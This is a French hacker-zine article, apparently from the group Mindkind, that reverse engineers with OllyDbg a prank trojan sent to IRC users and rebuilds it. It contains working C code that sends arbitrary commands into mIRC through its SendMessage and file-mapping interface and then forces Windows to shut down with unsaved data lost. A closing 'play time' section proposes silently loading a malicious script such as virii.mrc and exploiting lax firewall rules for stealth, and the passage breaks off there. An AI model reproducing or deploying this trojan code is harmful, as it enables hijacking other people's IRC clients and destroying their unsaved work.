.. ,.-.. ,..,
| | .` `. | |
|''| |`'---'`| |`'-`|
|<<| | _____ | _,,..|[}{]|.,,,
_,|<<|,, | \ D / | ,-`` |[}{]| ``',
.` `..' `. | |A| | |-,, ``--'' _,-'|
| `''--''` | | |T| | | ``'''------''`` |
| [ 15 ] | | |A| | | [ Mindkind ] |
`. ~~ .' | / \ | `-,, ] 1010 [ _,-'
`''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''```
|<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]|
,``` .,-''``` |[ R ]| ``''-., |[}{]|,
| `. _,,,,...|| E ||...,,,,, '|[}{]| |
|`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'|
| `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| |
|`-,_ `````''''''---------'''''''````` |[}{]|'|
| `''[ ]|[}{]| |
|`-,_ [ Really Lame Reverse Engeneering Paper ]|[}{]|'|
| `''[ ] |[}{]| |
`-,_ [ ] _,,..|[}{]|.,,,
|<;`'-.,,,_ ,-`` |[}{]| ``',
,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'|
|`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` |
|`-,_`''-.,,,_ `````'''''---------'''''````| ] Ninja [ |
|`-,_`''-.,,, `````''''''---------'''''''```-,, _,-'
`-,_`''-.,,,[ ]``'''------''``
|<`|'-.,,,_[ ]_,,,.-|[}{]|
|<<| `````''''''---------'''''''````` |[}{]|
|<<| |]Aka: [| |[}{]|
|<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
|<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_
_.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-.,
; -` | |T| |,.....----------..|[}{]|,,,_ `' ;
|`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`|
| ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` |
| ````````''''''''''--------------''''''''''```````` |
| |
RLREP
aka
Really Lame Reverse Engeneering Paper
Résumé
"Ninja Production Present" un texte peu technique, mais surement bien
intéressant qui risque, que cela ne déplaise, de vous stimuler les
neurones. Il y sera question de reverse engeneering et d'un feature
vraiment trop exploitable de mIRC. Comme vous l'aurez surement deviné via
le titre de ce texte, vous n'aurez pas droit à un cours très poussé,
technique ou 1337. Mais l'avenue que j'ai utilisée pour reverser un petit
programme sympa peut-être utilisé pour reverser n'importe quelle application
d'un kiddy quelconque pour comprendre un peu plus comment il fonctionne.
Tables des matières
1. Introduction
2. Là où tout à commencé...
3. What the...
4. La mission
4.1 Dernière étape
4.2 Injection ??
4.3 HOLY ou OLLY
5. Play time!
6. Conclusion
1. Introduction
Ne vous est-il jamais arrivé de croiser un abrutie sur un canal quelconque
qui demandait sans relâche une application pour hacker un compte hotmail,
un crack pour une certaine application ou jeux, etc.? Que de frustration, si
vous n'êtes pas opérateur du canal, de ne pas pouvoir exploser cette
loque. Mais j'ai peut-être une alternative qui vous fera probablement
sourire.
2. Là où tout à commencé...
C'était une nuit chaude et sombre, étouffé par une humidité qui vous
empêche d'être confortablement allongé dans votre lit. Seul le bruit de
quelques voitures pouvait se faire entendre au loin. C'était le genre de
nuit où l'on souhaiterait ne simplement pas exister. Les secondes
semblaient être des minutes. J'étais assis, le regarde fixe devant l'écran
de mon ordinateur, le dos légèrement courbé. Je ne pouvais dormir et malgré
mon immense désir de faire quelque chose, je me sentais paralysé. Comme
certains cette nuit là, je m'étais connecté sur les serveurs Undernet et
j'attendais que quelque chose se passe sur un des canaux que je fréquente.
J'étais complètement hypnotisé par les très rares messages "join/part/quit"
quand soudainement, venu de nul part, quelqu'un demanda un programme de
hack. Voilà ma chance de me sortir de l'état pitoyable dans lequel j'étais
prisonnier depuis trop longtemps cette nuit là.
"Qu'entend-tu par prog de hacking?", lui dis-je.
"j'veux hack un account hotmail", me répond-il.
"Oh, je vois..."
"c que g perdu mon pass pis je suis pu cap de lire mes email", me dit-il.
J'étais sur le point de rétorquer, lui laissant savoir que s'il croit être
le premier à clamer la perte de son mot de passe comme raison de piraté un
compte homtail, il devait vraiment être abrutis quand, surgissant des
profondeurs de l'IRC:
"tien ça devrait faire la job:
http://xxxxxx.xxx.xx/misc/hotmail_bruteforce.exe"
"thx", s'empressa de répondre notre pirate en devenir.
Il s'installa un silence froid, on aura pu entendre la lune tourner autour
de la terre. Et puis quelques secondes plus tard:
"OH NOOOOOO !!!!"
loque_humaine quit (edcba)
3. What the...
Bon, je suis désolé pour cette tentative d'écriture "thriller style". Mais
je dois quand même avoir du plaisir à écrire sinon je n'écrirais tout
simplement pas. Et je tien a dire "shut up" à tous ceux qui croient que ça
serait mieux ainsi. Si vous avez été assez patient pour lire attentivement
jusqu'ici, vous aurez surement compris que le petit prog que "edcba" à
envoyé à notre wannabe hackeur était bien entendu un piège. Malgré que le
programme ne fasse rien de bien méchant, il propage un message sur tous les
canaux où la victime se trouve ("OH NOOOOOO !!!!"), termine la connexion au
serveur IRC et finalement exécute un "force reboot" de la machine. Le
"force reboot" étant probablement la partie la plus chiante, puisque,
contrairement a un redémarrage normal, il n'attend pas que toutes les
applications fermes correctement. Donc toutes modifications à des documents
non sauvegardés son perdu. Symaptique n'est-ce pas?
4. La mission
Trouvant l'idée très sympathique et étant en constante recherche de petit
truc à coder, je me suis dit qu'il serait bien de reproduire les features
de ce programme. Pas question de demander à edcba comment il avait fait
parce que, premièrement, je tien à comprendre par moi-même avant tout, et
deuxièmement, parce que je doute que j'aurais eu une réponse. Je vais
diviser ce que fait le programme en étapes. Question de mieux cibler ce que
l'on doit reproduire.
1. Envoie un message sur tous les canaux
2. Ferme la connexion au serveur avec un message spécifique
3. Redémarre l'ordinateur (force reboot)
On peut imaginer que réussir l'étape #1 implique automatiquement la
réussite de l'étape #2. Donc, nous avons excatement deux (2) étapes à
reproduire.
4.1 dernière étape
Pourquoi commencer par le commencement quand la fin est tellement plus
facile. Je trouve plus motivant de faire des progrès rapidement et
ensuite être bloqué que de n'avoir rien fait encore et d'être déjà
bloqué. Comme mentionnée ci-dessus, la dernière étape consiste à
redémarrer l'ordinateur. Une petite recherche bien effectuée sur google
ou MSDN Library vous permet de trouver rapidement quel API l'on doit
utiliser pour arriver à notre fin, j'ai nommé "ExitWindowsEx". Voici
donc le prototype de notre fameuse API:
BOOL WINAPI ExitWindowsEx(
UINT uFlags,
DWORD dwReason
);
Paramètres
uFlags
[in] Le type de fermeture.
dwReason
[in] La raison de l'initialisation de la fermeture.
Pour le paramètre uFlags, nous allons utiliser la valeur suivante :
EWX_SHUTDOWN - Ferme le système.
En conjonction avec:
EWX_FORCE - "[...] the system does not send the WM_QUERYENDSESSION
and WM_ENDSESSION messages. This can cause applications to
lose data. Therefore, you should only use this flag
in an emergency."
Le paramètre dwReason doit être égale à zéro, raison de compatibilité.
C'est maintenant le temps de tester notre application. Alors au code
camarade.
==---------------------- test1.cpp ----------------------==
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
int main()
{
ExitWindowsEx(
EWX_SHUTDOWN|EWX_FORCE,
0
);
return 0;
}
Simple n'est-ce pas? Mais pas si vite mon ami! À moins que vous soyez
très chanceux, rien ne devrait arriver suite à l'exécution de ce code.
Pourquoi? Simplement parce que nous devons donner à notre processus le
privilège SE_SHUTDOWN_NAME. Autrement, l'appel à la fonction
ExitWindowsEx échoue. Une autre recherche sur MSDN Library s'impose.
Notre recherche nous amène à trouver l'API suivante:
AdjustTokenPrivileges
Voici son prototype:
BOOL AdjustTokenPrivileges(
HANDLE TokenHandle,
BOOL DisableAllPrivileges,
PTOKEN_PRIVILEGES NewState,
DWORD BufferLength,
PTOKEN_PRIVILEGES PreviousState,
PDWORD ReturnLength
);
C'est ici que ça se corse. D'accord ce n'est pas si terrible, mais bon,
j'aurais aimé que ça soit aussi simple que d'appeler simplement
ExitWindowsEx. Premièrement, nous devons avoir l'accès
TOKEN_ADJUST_PRIVILEGES si nous voulons activer ou désactiver un
privilège. De plus, nous aurons besoin d'un handle sur un token
préalablement ouvert. Encore une fois, nous devons effectuer une autre
recherche sur MSDN Libray. Nous voici, maintenant, devant
OpenProcessToken.
BOOL OpenProcessToken(
HANDLE ProcessHandle,
DWORD DesiredAccess,
PHANDLE TokenHandle
);
ProcessHandle - handle de notre processus.
DesiredAccess - TOKEN_ADJUST_PRIVILEGES
TokenHandle - pointeur vers le handle de notre token
De retour à AdjustTokenPrivileges. Si l'on regarde la structure
TOKEN_PRIVILEGES de plus près, on s'aperçoit que l'on a besoin de LUID
du privilège désiré. Pour obtenir cette information, nous devons appler
la fonction LookupPrivilegeValue.
BOOL LookupPrivilegeValue(
LPCTSTR lpSystemName,
LPCTSTR lpName,
PLUID lpLuid
);
Maintenant nous sommes prêts pour donner à notre processus le privilège
dont il a besoin pour appeler la fonction ExitWindowsEx. Au code!
==---------------------- test2.cpp ----------------------==
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
int main()
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
DWORD dwRet;
// demande un token
if ( !OpenProcessToken(
GetCurrentProcess(), // handle du processus courant
TOKEN_ADJUST_PRIVILEGES,
&hToken ) )
{
return 0;
}
// recherche le LUID du privilège SE_SHUTDOWN_NAME
if ( !LookupPrivilegeValue(
NULL, // recherche sur le système local
SE_SHUTDOWN_NAME,
&tp.Privileges[0].Luid ) )
{
CloseHandle(hToken);
return 0;
}
tp.PrivilegeCount = 1; // une seul privilege a configurer
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// ajust le token selon les nouveaux privilèges demandés
if ( !AdjustTokenPrivileges(
hToken,
FALSE, // ne PAS désactiver TOUS les privilèges
&tp,
0, // comme PreviousState est NULL, on
// mets 0
(PTOKEN_PRIVILEGES)NULL, // PreviousState
0 ) ) // 0 puisque PreviousState est NULL
{
CloseHandle(hToken);
return 0;
}
dwRet = GetLastError(); // backup de GetLastError() puisque l'on appel
// CloseHandle. Cette dernière modifie le contenu
// de GetLastError();
CloseHandle(hToken);
if (dwRet != ERROR_SUCCESS)
return 0;
ExitWindowsEx(
EWX_SHUTDOWN|EWX_FORCE,
0
);
return 0;
}
W00t! C'est fait. Notre programme, si tout se passe bien, va forcer
Windows à redémarrer l'ordinateur sans avertir aucunes applications.
Maintenant, passons aux choses sérieuses...
4.2 Injection ??
Je crois que tout le monde à un jour ou l'autre, a pris le mauvais
chemin pour atteindre un objectif. C'est souvent ce qui arrive lorsque
l'on voit tout comme étant surement complexe. Ou simplement quand on
aime se compliquer la vie. Et ça a bien été mon cas ici. Je m'étais
imaginé que pour arriver a ce que mIRC, via un programme externe,
exécute des commandes qu'on lui spécifie, nous devions absolument
injecter du code dans le processus mIRC chargé en mémoire. Après
quelques jours de dur travail et de recherche sur le web, je me suis
tanné. Pourquoi est-ce que je me fait chier autant à trouver une
technique alors que si je regarde ce que le programme de edcba fait,
il ne me restera plus qu'a comprendre le pourquoi. Et, je dois
l'avouer, c'était le but premier de cet exercice. Alors au toilette
saloperie d'injection.
4.3 HOLY ou OLLY
Bow down before the power of HOLY... err, je veux dire OLLY. Avant que
les religieux ne commencent à s'émoustiller, c'était un jeu de mots très
plate sur la phonétique des deux termes. Il n'est pas question de
religions ici. duh! Concentration s.v.p. OllyDbg
(http://www.ollydbg.de/) est une application que j'apprécie énormément
et qui vaut la peine d'être mentionné. Il s'agit en fait d'un débuggeur
pour Windows. Deux choses très importantes à retenir: puissant et
surtout, gratuit.
Il est maintenant temps d'ouvrir le petit programme dont on cherche à
reproduire les fonctionnalités sous OllyDbg. En à peine une seconde,
nous avons droit à un spectacle magnifique: un listing assembleur
32-bit.
En regardant le listing on peut voir le code que nous venons à
l'instant de produire:
[00401151]
PUSH EBP
MOV EBP,ESP
ADD ESP,-14
LEA EAX,DWORD PTR SS:[EBP-4]
PUSH EAX ; /phToken
PUSH 28 ; |DesiredAccess =
TOKEN_QUERY|TOKEN_ADJUST_PRIVILEGES
CALL <JMP.&KERNEL32.GetCurrentProcess> ; |[GetCurrentProcess
PUSH EAX ; |hProcess
CALL <JMP.&ADVAPI32.OpenProcessToken> ; \OpenProcessToken
TEST EAX,EAX
JNZ SHORT mIRC_hig.0040116F
XOR EAX,EAX
JMP SHORT mIRC_hig.004011C4
LEA EDX,DWORD PTR SS:[EBP-10]
PUSH EDX ; /pLocalId
PUSH mIRC_hig.00409128 ; |Privilege = "SeShutdownPrivilege"
PUSH 0 ; |SystemName = NULL
CALL <JMP.&ADVAPI32.LookupPrivilegeValue>; \LookupPrivilegeValueA
MOV DWORD PTR SS:[EBP-14],1
MOV DWORD PTR SS:[EBP-8],2
PUSH 0 ; /pRetLen = NULL
PUSH 0 ; |pPrevState = NULL
PUSH 0 ; |PrevStateSize = 0
LEA ECX,DWORD PTR SS:[EBP-14] ; |
PUSH ECX ; |pNewState
PUSH 0 ; |DisableAllPrivileges = FALSE
PUSH DWORD PTR SS:[EBP-4] ; |hToken
CALL <JMP.&ADVAPI32.AdjustTokenPrivilege>; \AdjustTokenPrivileges
CALL <JMP.&KERNEL32.GetLastError> ; [GetLastError
TEST EAX,EAX
JE SHORT mIRC_hig.004011AE
EAX,EAX
JMP SHORT mIRC_hig.004011C4
PUSH 0 ; /Reserved = 0
PUSH 5 ; |Options = EWX_SHUTDOWN|EWX_FORCE
CALL <JMP.&USER32.ExitWindowsEx> ; \ExitWindowsEx
TEST EAX,EAX
JNZ SHORT mIRC_hig.004011BF
XOR EAX,EAX
JMP SHORT mIRC_hig.004011C4
MOV EAX,1
MOV ESP,EBP
POP EBP
RETN
J'ai enlevé les offsets et les opcodes qu'affiche OllyDbg simplement
pour respecter un formatage de 80 caractères de large, voilà. Mais ce
n'est pas ce que nous cherchons puisque nous l'avons déjà codé. Ce
que nous cherchons c'est comment peut-on interagir avec mIRC via un
programme externe. Nous parcourons donc le code à la recherche
d'appel à des fonctions qui pourraient être des pistes intéressantes.
JACKPOT!!!!!
Voilà qui est fortement intéressant:
[004011C8]
PUSH EBP
MOV EBP,ESP
PUSH EBX
PUSH ESI
MOV ESI,DWORD PTR SS:[EBP+8]
MOV EBX,DWORD PTR SS:[EBP+C]
PUSH mIRC_hig.0040913C ; /Arg2 =
0040913C ASCII "/amsg OH NOOOOOO !!!!"
PUSH EBX ; |Arg1
CALL mIRC_hig.004022F8 ; \mIRC_hig.004022F8
ADD ESP,8
PUSH 0 ; /lParam = 0
PUSH 1 ; |wParam = 1
PUSH 4C8 ; |Message = MSG(4C8)
PUSH ESI ; |hWnd
CALL <JMP.&USER32.SendMessageA> ; \SendMessageA
PUSH mIRC_hig.00409152 ; /Arg2 =
00409152 ASCII "/quit Suicide. (edcba)"
PUSH EBX ; |Arg1
CALL mIRC_hig.004022F8 ; \mIRC_hig.004022F8
ADD ESP,8
PUSH 0 ; /lParam = 0
PUSH 1 ; |wParam = 1
PUSH 4C8 ; |Message = MSG(4C8)
PUSH ESI ; |hWnd
CALL <JMP.&USER32.SendMessageA> ; \SendMessageA
MOV EAX,1
POP ESI
POP EBX
POP EBP
RETN 8
[00401218]
PUSH EBP
MOV EBP,ESP
PUSH EBX
PUSH ESI
PUSH mIRC_hig.00409169 ; /MapName = "mIRC"
PUSH 1000 ; |MaximumSizeLow = 1000
PUSH 0 ; |MaximumSizeHigh = 0
PUSH 4 ; |Protection = PAGE_READWRITE
PUSH 0 ; |pSecurity = NULL
PUSH -1 ; |hFile = FFFFFFFF
CALL <JMP.&KERNEL32.CreateFileMappingA> ; \CreateFileMappingA
MOV EBX,EAX
TEST EBX,EBX
JE SHORT mIRC_hig.0040126D
PUSH 0 ; /MapSize = 0
PUSH 0 ; |OffsetLow = 0
PUSH 0 ; |OffsetHigh = 0
PUSH 6 ; |AccessMode = 6
PUSH EBX ; |hMapObject
CALL <JMP.&KERNEL32.MapViewOfFile> ; \MapViewOfFile
MOV ESI,EAX
TEST ESI,ESI
JNZ SHORT mIRC_hig.00401256
PUSH EBX ; /hObject
CALL <JMP.&KERNEL32.CloseHandle> ; \CloseHandle
JMP SHORT mIRC_hig.0040126D
PUSH ESI ; /lParam
PUSH mIRC_hig.004011C8 ; |Callback = mIRC_hig.004011C8
CALL <JMP.&USER32.EnumWindows> ; \EnumWindows
PUSH ESI ; /BaseAddress
CALL <JMP.&KERNEL32.UnmapViewOfFile> ; \UnmapViewOfFile
PUSH EBX ; /hObject
CALL <JMP.&KERNEL32.CloseHandle> ; \CloseHandle
POP ESI
POP EBX
POP EBP
RETN
On remarque que les API SendMessage, CreateFileMapping, MapViewOfFile
et EnumWindows sont utilisés dans la transmission des commandes que
l'on désire que mIRC exécute. Maintenant il ne reste plus qu'à
comprendre comment sont utilisées ces fonctions.
Première étape à la compréhension et résolution de problème c'est de
savoir ce que fait chaque partie du puzzle. Donc on doit savoir,
qu'est-ce que SendMessage fait exactement, même chose pour
CreateFileMapping et les autres API en jeux.
L'API EnumWindows énumère tous les "top-level windows" et ignore les
"child windows". Pour chaque fenêtre, elle passe le handle cette
dernière à une fonction callback définie par l'utilisateur. Dans la
situation actuelle, la fonction callback est située à l'adresse suivante:
004011C8. Qui se trouve à être là où l'on trouve les chaines que l'on
veut envoyer à mIRC et où se trouvent les deux appels à la fonction
SendMessage.
La fonction SendMessage envoie un message spécifié à une ou plusieurs
fenêtres, le message étant une valeur numérique. Les messages système
ont une valeur inférieure à WM_USER-1, donc de 1023 (1024 étant la
valeur de WM_USER). Une application peut aussi définir c'est propre
message en autant qu'elle utilise les valeurs supérieures ou égales à
WM_USER.
Exemple de message système:
WM_LBUTTONDOWN, WM_RBUTTONDOWN, WM_KEYDOWN, WM_DESTROY, WM_COMMAND, ...
Or dans notre cas présent, on constate que le message envoyé via
SendMessage dans le programme ci-dessus à la valeur 4C8 qui est la
représatation hexadécimal de la valeur 1224. Donc, le programme
communique avec mIRC via un message probablement défini par mIRC.
Puisque la valeur du message est de 1224 (4C8), ce message ne fait pas
référence à un message système déjà existant, mais probablement à un
message définie par l'application ciblée, dans notre cas mIRC. Il nous
faut trouver aussi que représentent les deux autres paramètres de l'API
SendMessage. Leur valeur respective étant 1 et 0. Nous y reviendrons
plus tard.
CreateFileMapping est une fonction qui permet de créer un fichier
qui pourra être partagé (lecture et/ou écriture) entre processus.
C'est une façon, mais efficace de partager des données entre processus.
CreateFileMapping crée, si le fichier n'existe pas déjà, ou ouvre un
fichier selon le nom spécifié. Or dans le listing ci-dessus, la
fonction CreateFileMapping tante que créer ou d'ouvrir un fichier sous
le nom de "mIRC". Il se pourrait donc, sachant qu'un fichier mappé
peut être partagé entre processus, que mIRC créer ce fichier lui-même
lors de son exécution.
MapViewOfFile permet à une application d'avoir accès a un fichier
mappé, préalablement ouvert avec OpenFileMapping ou CreateFileMapping,
dons son propre espace mémoire. La fonction retourne l'adresse du
buffer que nous pourrons utiliser pour écrire les données dans le
fichier mappé.
Vous avez peut-être remarqué, et si ce n'est pas le cas je vous en
informe à l'instant, que les commandes que nous voulons que mIRC
exécute sont passé en paramètre a une fonction locale du programme
se trouvant à l'offset suivant 004022F8. Je ne vous montrerai pas le
code mais en gros, elle copie la chaine spécifiée dans un buffer. Ce
buffer se trouve à être le fichier mappé dont on à obtenu l'adresse
mémoire via MapViewOfFile, comme expliqué auparavant.
Il ne nous reste plus qu'à vérifier si mIRC crée bel et bien un fichier
mappé nommé mIRC. Il existe probablement de meilleures façons ou des
outils spécifiques qui nous permettraient d'avoir la liste des fichiers
ouverts par un processus. Mais nous allons utiliser encore notre bon
ami, Ollydbg. Alors, on ouvre mIRC avec notre cher débuggeur. Et on
recherche les fonctions CreateFileMapping ou OpenFileMapping.
KABOUM!!
[004E1D40]
SUB ESP,8
PUSH EBX
PUSH EBP
MOV DWORD PTR SS:[ESP+8],EDX
MOV EBX,ECX
CALL mIRC.004E9750
MOV EBP,EAX
TEST EBP,EBP
JNZ SHORT mIRC.004E1D5E
POP EBP
POP EBX
ADD ESP,8
RETN 4
TEST EBX,EBX
JE SHORT mIRC.004E1D6A
CMP EBX,DWORD PTR DS:[5C6688]
JNZ SHORT mIRC.004E1D6D
MOV EBX,DWORD PTR SS:[EBP]
PUSH ESI
PUSH EDI
mIRC.00594810 ; /MappingName = "mIRC"
PUSH 1 ; |InheritHandle = TRUE
PUSH 0F001F ; |Access = F001F
CALL DWORD PTR DS:[<&KERNEL32.OpenFileMa>; \OpenFileMappingA
MOV ESI,EAX
TEST ESI,ESI
MOV DWORD PTR SS:[ESP+14],ESI
JE SHORT mIRC.004E1DAA
PUSH 0 ; /MapSize = 0
PUSH 0 ; |OffsetLow = 0
PUSH 0 ; |OffsetHigh = 0
PUSH 0F001F ; |AccessMode = F001F
PUSH ESI ; |hMapObject
CALL DWORD PTR DS:[<&KERNEL32.MapViewOfF>; \MapViewOfFile
MOV EDI,EAX
TEST EDI,EDI
JNZ SHORT mIRC.004E1DB6
PUSH ESI ; /hObject
CALL DWORD PTR DS:[<&KERNEL32.CloseHandl>; \CloseHandle
POP EDI
POP ESI
POP EBP
XOR EAX,EAX
POP EBX
ADD ESP,8
RETN 4
MOV EAX,DWORD PTR SS:[ESP+10]
XOR ESI,ESI
CMP EAX,4C8
JNZ SHORT mIRC.004E1DF8
MOV EAX,DWORD PTR SS:[ESP+1C]
TEST AL,1
JE SHORT mIRC.004E1DD8
AND AL,4
NEG AL
SBB EAX,EAX
AND EAX,5
MOV ESI,EAX
JMP SHORT mIRC.004E1DE5
TEST AL,2
JE SHORT mIRC.004E1DE5
MOVZX ESI,AL
AND ESI,4
OR ESI,3
PUSH EBP
PUSH 0
PUSH 0
PUSH ESI
PUSH 0
MOV EDX,EDI
MOV ECX,EBX
CALL mIRC.0043F030
JMP SHORT mIRC.004E1E0E
PUSH EBP ; /Arg7
PUSH 0 ; |Arg6 = 00000000
PUSH 0 ; |Arg5 = 00000000
PUSH 0 ; |Arg4 = 00000000
PUSH 0 ; |Arg3 = 00000000
PUSH 0 ; |Arg2 = 00000000
PUSH 0 ; |Arg1 = 00000000
MOV EDX,EDI ; |
MOV ECX,EBX ; |
CALL mIRC.004A0030 ; \mIRC.004A0030
TEST EAX,EAX
JE SHORT mIRC.004E1E17
MOV ESI,1
PUSH EDI ; /BaseAddress
CALL DWORD PTR DS:[<&KERNEL32.UnmapViewO>; \UnmapViewOfFile
MOV EAX,DWORD PTR SS:[ESP+14]
PUSH EAX ; /hObject
CALL DWORD PTR DS:[<&KERNEL32.CloseHandl>; \CloseHandle
POP EDI
MOV EAX,ESI
POP ESI
POP EBP
POP EBX
ADD ESP,8
RETN 4
On a trouvé. La fonction OpenFileMapping est présente. Cela nous
apprend que mIRC ne crée pas ce fichier au démarrage. Donc, il doit
probablement le lire lorsqu'il reçoit un message via SendMessage().
Maintenant on pourrait débugger mIRC afin de savoir à quoi servent les
arguments que l'on envoie via SendMessage et pourquoi on écrit les
données dans un fichier partagé. Même si l'on peut imaginer que le
message envoyé par SendMessage informe mIRC qu'il y a des données à
être lu dans le fichier mappé. Mais comme il semblerait que ce soit une
fonctionnalité intégrée dans mIRC, il est fort à parier que nous
trouverons les informations manquantes dans le fichier d'aide.
Petite recherche avec le mot SendMessage nous amène sur un page nous
expliquant comment d'autres processus peuvent communiquer avec mIRC.
Voici la traduction de la page d'aide trouvé dans le fichier mirc.hlp:
SENDMESSAGE
Les applications peuvent désormais utiliser SendMessage() pour
communiquer avec mIRC.
EXECUTER DES COMMANDES
L'appel suivant de la fonction SendMessage() informe mIRC qu'il doit
exécuter la commande spécifié.
SendMessage(mHwnd, WM_MCOMMAND, cMethod, 0L)
mHwnd - le handle de la fenêtre principal de mIRC, ou la fenêtre
d'un 'Channel', d'un 'Query', etc.
WM_MCOMMAND - qui doit être définie comme étant WM_USER + 200
cMethod - comment mIRC doit traiter le message, comme:
1 = si il était tapé dans un 'editbox'
2 = si il était tapé dans un 'editbox', 'send as plain text'
4 = utilise la protection contre le flood d'mIRC si activé,
peut être employé avec 1 ou 2.
EVALUER LES IDENTIFIANTS ET LES VARIABLES
L'appel suivant à la fonction SendMessage() informe mIRC qu'il doit
évaluer le contenu de toutes les lignes spécifié.
SendMessage(mHwnd, WM_MEVALUATE, 0, 0L)
mHwnd - le handle de la fenêtre principal de mIRC, ou la fenêtre
d'un 'Channel', d'un 'Query', etc.
WM_MEVALUATE - doit être définie comme étant WM_USER + 201
FICHERS MAPPÉS
Les applications qui envoient ses messages doivent créer un fichier
mappé nommé mIRC avec CreateFileMapping().
Quand mIRC reçois les messages précédents, il va ouvrir ce fichier et
utiliser les données qu'il contient pour exécuter la commande ou
l'évaluation. Dans le cas d'une évaluation, mIRC va écrire le résultat
dans le fichier mappé.
Le fichier mappé doit avoir un gosseur d'au moins 1024 octects.
Pour prévenir les accès multiples au fichier mappé, votre code doit
vérifier si le fichier existe ou non avant de l'utiliser. Si il existe,
vous devriez assumer que ce fichier est utilisé par un autre programme
et réessayer plus tard.
Voilà qui confirme notre hypothèse. N'est-ce pas merveilleux? Passons
au code maintenant.
==---------------------- test3.cpp ----------------------==
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <tchar.h> // Generic-Text Mappings
#define MAX_CNAME_SIZE 512
#define MAX_FILEMAPPING_SIZE_LOW 1024
TCHAR g_tcsClassName[] = _T("mIRC");
BOOL CALLBACK ewcallback(HWND hwnd, LPARAM lParam);
BOOL myshutdown();
int main()
{
EnumWindows(&ewcallback,(LPARAM)g_tcsClassName);
myshutdown();
return 0;
}
BOOL CALLBACK ewcallback(HWND hwnd, LPARAM lParam)
{
TCHAR tscCName[MAX_CNAME_SIZE];
TCHAR tscMsg[] = _T("/.quit Damn it! Owned by Mindkind");
HANDLE hFile;
LPVOID lpBaseAddress;
GetClassName(hwnd, tscCName,MAX_CNAME_SIZE);
if (_tcscmp(tscCName,(TCHAR*)lParam) == 0) {
hFile = CreateFileMapping(
INVALID_HANDLE_VALUE,
NULL,
PAGE_READWRITE,
0,
MAX_FILEMAPPING_SIZE_LOW,
tscCName );
if ( hFile ) {
lpBaseAddress = MapViewOfFile(hFile,FILE_MAP_WRITE,0,0,0);
if (lpBaseAddress) {
// On copy notre chaine dans le fichier...
CopyMemory(lpBaseAddress,tscMsg,_tcslen(tscMsg));
// On avertit mIRC qu'il y a des données dans le fichier
SendMessage(hwnd,WM_USER+200,1,0);
// unmap la view
UnmapViewOfFile(lpBaseAddress);
}
CloseHandle(hFile);
}
}
return TRUE; // doit retourner TRUE si l'on veut que EnuWindows continue
// l'énumération des fenêtres.
}
BOOL myshutdown()
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
DWORD dwRet;
// demande un token
if ( !OpenProcessToken(
GetCurrentProcess(), // handle du processus courant
TOKEN_ADJUST_PRIVILEGES,
&hToken ) )
{
return FALSE;
}
// recherche le LUID du privilège SE_SHUTDOWN_NAME
if ( !LookupPrivilegeValue(
NULL, // recherche sur le système local
SE_SHUTDOWN_NAME,
&tp.Privileges[0].Luid ) )
{
CloseHandle(hToken);
return FALSE;
}
tp.PrivilegeCount = 1; // un seul privilège a configuré
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// ajust le token selon les nouveaux privilèges demandés
if ( !AdjustTokenPrivileges(
hToken,
FALSE, // ne PAS désactiver TOUS les privilèges
&tp,
0, // comme PreviousState est NULL, on
// mets 0
(PTOKEN_PRIVILEGES)NULL, // PreviousState
0 ) ) // 0 puisque PreviousState est NULL
{
CloseHandle(hToken);
return 0;
}
dwRet = GetLastError(); // backup de GetLastError() puisque l'on appel
// CloseHandle. Cette dernière modifie le contenu
// de GetLastError();
CloseHandle(hToken);
if (dwRet != ERROR_SUCCESS)
return FALSE;
ExitWindowsEx(
EWX_SHUTDOWN|EWX_FORCE,
0
);
return TRUE;
}
Voilà, pour chaque instance de mIRC, notre programme va déconnecter
la victime du serveur avec comme message "Damn it! Owned by Mindkind".
Une fois que EnumWindows a terminé, le programme va forcer Windows
à redémarrer.
5. Play time!
Je pense personnellement que cette section est la plus intéressante.
Maintenant que nous connaissons cette fonctionnalité, il ne nous reste plus
qu'à l'exploité de façon plus agressive, tout en restant furtif,
contrairement à ce que nous avons fait jusqu'à maintenant dans l'exemple
précédent.
Comme nous l'avons constaté, nous pouvons faire exécuter n'importe quel
commande à mIRC. Nous pouvons donc lui dire de charger un script en
particulier, disons virii.mrc. Pour indiquer à mIRC de charger un script,
nous devons utiliser la commande 'load' avec comme options les switches
'-rs' et spécifier le nom du fichier script à charger. Dans notre exemple
ce sera:
/.load -rs virii.mrc
Nous exécutons la commande 'load' en mode silencieux (/.) sinon la commande
affiche qu'elle à chargé un fichier nommé virii.mrc. Vous devez prendre
note que le fichier virii.mrc ne se retrouvera probablement pas dans le
répertoire de mIRC, vous devez donc spécifier le chemin complet du fichier.
<IMPORTANT>
La majorité des utilisateurs qui possèdent un par-feu pour se protéger ne
prenne pas le temps de créer les règles, ils ne font que cliquer sur 'ok'
ou 'accept' losrque leur par-feu leur signala qu'une application tente de
se connecter à internet. Et ils sont encore moins suspicieux s?ils
connaissent l'application. Les autres, ceux qui ont pris le temps de faire
des règles les font trop souples. Exemple, vous voulez autoriser mIRC à
se connecter à un serveur IRC. Je vous demande d'être franc ici, est-ce que
vous spécifiez quels serveurs vous autorisez ou vous dis simplement:
n'importe quel ip tant que le port de l'hôte soit entre 6666-7000 ?
Je suis près à mettre ma main au feu que la quasi totalité opte pour la
deuxième option. Gardez cette pensée en tête pour le reste de cet
article.
</IMPORTANT>
Le script virii tente de se connecter à un serveur IRC via les sockets mIRC
à chaque connexion a un serveur IRC effectué par la victime. Si le serveur
